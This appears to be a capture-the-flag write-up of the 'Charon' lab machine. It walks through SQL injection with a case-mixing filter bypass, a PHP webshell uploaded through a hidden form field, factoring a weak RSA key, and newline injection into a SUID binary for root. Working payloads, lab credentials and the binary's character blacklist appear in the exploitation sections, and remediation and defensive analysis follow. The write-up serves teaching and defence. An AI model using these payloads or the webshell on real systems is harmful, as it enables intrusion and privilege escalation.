Overview
Charon is a hard-rated Linux box running Ubuntu 16.04 with a “Frozen Yogurt Shop” web application backed by MySQL. The attack chain spans five distinct phases, each requiring a different skill: UNION-based SQL injection on the blog, a second SQL injection on a CMS password reset form with keyword filter bypass, file upload abuse via a hidden base64-encoded form field, RSA private key reconstruction from a trivially small 256-bit public key, and command injection through a SUID binary that fails to filter newline characters.
This box rewards patience and methodical enumeration. Each phase builds on the previous one, and there are no shortcuts. The RSA factorisation step is particularly instructive: it demonstrates why key size matters and why 256-bit RSA is equivalent to no encryption at all.
Reconnaissance
nmap -sC -sV -oA scans/charon 10.129.12.221
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 | Ubuntu 16.04 |
| 80 | HTTP | Apache 2.4.18 | Frozen Yogurt Shop |
Two services, both consistent with Ubuntu 16.04. The attack surface is the web application.
Web Application
The site is a static-looking template for a frozen yoghurt shop. The URL
singlepost.php?id= immediately stands out as a SQL injection candidate.
Directory fuzzing with ffuf reveals /cmsdata/ containing login.php,
forgot.php, upload.php, and menu.php.
Attack Surface Analysis
Blog SQL injection (singlepost.php)
The id parameter accepts numeric input and is vulnerable to UNION-based
injection. Column enumeration reveals 5 columns, with column 5 reflected
in an <h1> tag:
singlepost.php?id=0 UNION SELECT 1,2,3,4,'test'
I extract the database name (freeeze), MySQL user (freeeze@localhost),
and confirm that the FILE privilege is not granted. The secure_file_priv
setting points to /var/lib/mysql-files/, blocking any INTO OUTFILE
approach to the web root. This injection is useful for information gathering
but cannot directly deliver a shell.
CMS forgot.php SQL injection
The /cmsdata/forgot.php endpoint accepts an email address and queries the
supercms.operators table. Single quotes trigger a database error,
confirming unescaped input reaching SQL. Two obstacles exist:
- The input requires email format validation (must contain
@and a domain). - The keyword
union select(lowercase) is filtered.
Both are bypassed simultaneously. Appending -- @charon.htb satisfies the
email format check while the SQL comment prevents the domain suffix from
reaching the query. Mixed case (UnIoN SeLeCt) bypasses the
case-sensitive keyword filter:
' UnIoN SeLeCt 1,2,3,4-- @charon.htb
The query has 4 columns. Column 2 is reflected in the “Email sent to:”
response message. Extracting from supercms.operators:
super_cms_adm : 0b0689ba94f94533400f4decd87fa260
The MD5 hash cracks to tamarro.
Vulnerability Analysis
The application has two distinct SQL injection vulnerabilities, each in a different codebase (blog vs CMS). Both share the same root cause: string concatenation of user input into SQL queries without parameterisation.
The CMS injection is more interesting because of its filter bypass
requirements. The keyword filter checks for the exact lowercase string
union select. This is CWE-178 (Improper Handling of Case) applied to a
security control: the filter is case-sensitive while SQL is case-insensitive.
Mixed case trivially bypasses it.
| Attribute | Blog SQLi | CMS SQLi |
|---|---|---|
| CWE | CWE-89 (SQL Injection) | CWE-89 + CWE-178 (Case Handling) |
| Type | UNION-based | UNION-based with filter bypass |
| Impact | Database read (no FILE privilege) | CMS credential extraction |
| Prerequisite | None | None |
Exploitation
Phase 1: CMS admin access
With the cracked credentials (super_cms_adm:tamarro), I log into the
CMS at /cmsdata/login.php. The CMS presents an upload form at
upload.php.
Phase 2: file upload bypass
The upload form contains a hidden field with a base64-encoded name:
dGVzdGZpbGUx, which decodes to testfile1. Using this decoded value as
the POST parameter name with the value shell.php causes the server to
save the uploaded file with a .php extension, regardless of the original
filename or any extension validation applied to the standard upload field.
I upload a GIF-header PHP webshell:
GIF89a<?php echo system($_GET["c"]); ?>
The GIF89a header bypasses any magic-byte content-type validation. The
shell lands at /images/shell.php:
curl "http://10.129.12.221/images/shell.php?c=id"
# uid=33(www-data) gid=33(www-data)
Phase 3: user credentials via RSA factorisation
In the decoder user’s home directory, two files are present: decoder.pub
(an RSA public key) and pass.crypt (32 bytes of encrypted data).
The RSA key is only 256 bits. A key this small is trivially factorable. Using factordb.com:
n = p * q
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
Reconstructing the private key from p, q, and e (65537) and decrypting
pass.crypt (PKCS#1 padded) yields the password: nevermindthebollocks.
ssh [email protected]
# Password: nevermindthebollocks
User flag obtained.
Phase 4: privilege escalation via SUID binary newline injection
A SUID binary exists at /usr/local/bin/supershell, owned by
root:freeeze with permissions rwsr-x---. The decoder user is in the
freeeze group.
Analysis with ltrace reveals the validation logic:
strcspnchecks input against a blacklist:|, backtick,&,>,<,',",\,[,],{,},;,#strncmpverifies the first 7 characters match/bin/ls- If both checks pass, the input is passed to
system()
The newline character (\n) is not in the blacklist. Injecting a newline
after the required prefix allows a second command to execute:
/bin/ls\ncat /root/root.txt
The system() call interprets the newline as a command separator, executing
both /bin/ls and cat /root/root.txt as root.
Root flag obtained.
Post-Exploitation
The web application uses two separate database accounts:
- Blog:
freeeze:fr2424z - CMS:
supercms:sx2424
Both share a similar password pattern (xx2424x), suggesting a single
administrator who reuses password templates. In a production environment,
these credentials would warrant immediate rotation and a broader credential
audit across the organisation.
The web root is at /var/www/html/freeeze/ rather than the default
/var/www/html/, which explains why the blog and CMS share the same
virtual host but use different database backends.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 | WAF with SQL injection signatures; parameterised queries |
| Credential Access | T1552.001 | File integrity monitoring on RSA key material |
| Execution | T1059.004 | auditd on shell spawns from Apache processes |
| Persistence | T1078.003 | SSH authentication monitoring for decoder account |
| Privilege Escalation | T1068 | SUID binary audit; input validation review |
The SQL injection filter on forgot.php is a cautionary tale about
blocklist-based security. The filter checks for the exact lowercase string
union select and nothing else. A proper defence would use parameterised
queries, rendering the filter unnecessary. If a filter must exist (as a
defence-in-depth layer), it should be case-insensitive, match individual
keywords, and account for encoding variations.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Use parameterised queries for all SQL statements | Medium | Critical |
| P0 | Remove the hidden base64 upload field | Low | Critical |
| P0 | Fix the supershell binary: add \n to the blacklist | Low | Critical |
| P1 | Replace 256-bit RSA keys with 2048-bit minimum | Low | High |
| P1 | Audit all SUID binaries on the system | Medium | High |
| P1 | Rotate all database and SSH credentials | Low | High |
| P2 | Implement proper file upload validation (not bypassable) | Medium | Medium |
| P2 | Remove case-sensitive SQL keyword filter | Low | Low |
| P3 | Upgrade Ubuntu 16.04 to a supported release | High | Medium |
The SUID binary’s input validation is a good example of the “denylist
problem.” The developer thought of 14 dangerous characters but missed
newline. Denylists are inherently incomplete because they require the
developer to anticipate every dangerous input. The correct approach is an
allowlist: permit only characters that are known safe for the intended use
case (/bin/ls arguments need only alphanumerics, forward slash, hyphen,
and dot).
Key Takeaways
-
Case-sensitive security filters are not security filters. SQL is case-insensitive by specification. A filter that blocks
union selectbut allowsUnIoN SeLeCtprovides zero protection. This same principle applies to XSS filters, path traversal checks, and any other string-matching security control. -
256-bit RSA is not encryption. Modern integer factorisation algorithms can decompose a 256-bit semiprime in milliseconds. The minimum recommended RSA key size is 2048 bits (NIST SP 800-57). Keys below 1024 bits have been practically factorable since the early 2000s.
-
Newline is a command separator. When
system()is called with user-controlled input, newline characters function identically to semicolons as command separators. Input validation for shell commands must account for\n,\r,\0, and all other control characters, not just the obvious metacharacters. -
Hidden form fields are not access controls. The base64-encoded field name in the upload form is security through obscurity. Any attacker who views the form HTML and decodes the base64 value can manipulate the upload behaviour. Server-side validation that cannot be influenced by client-side parameters is the only reliable approach.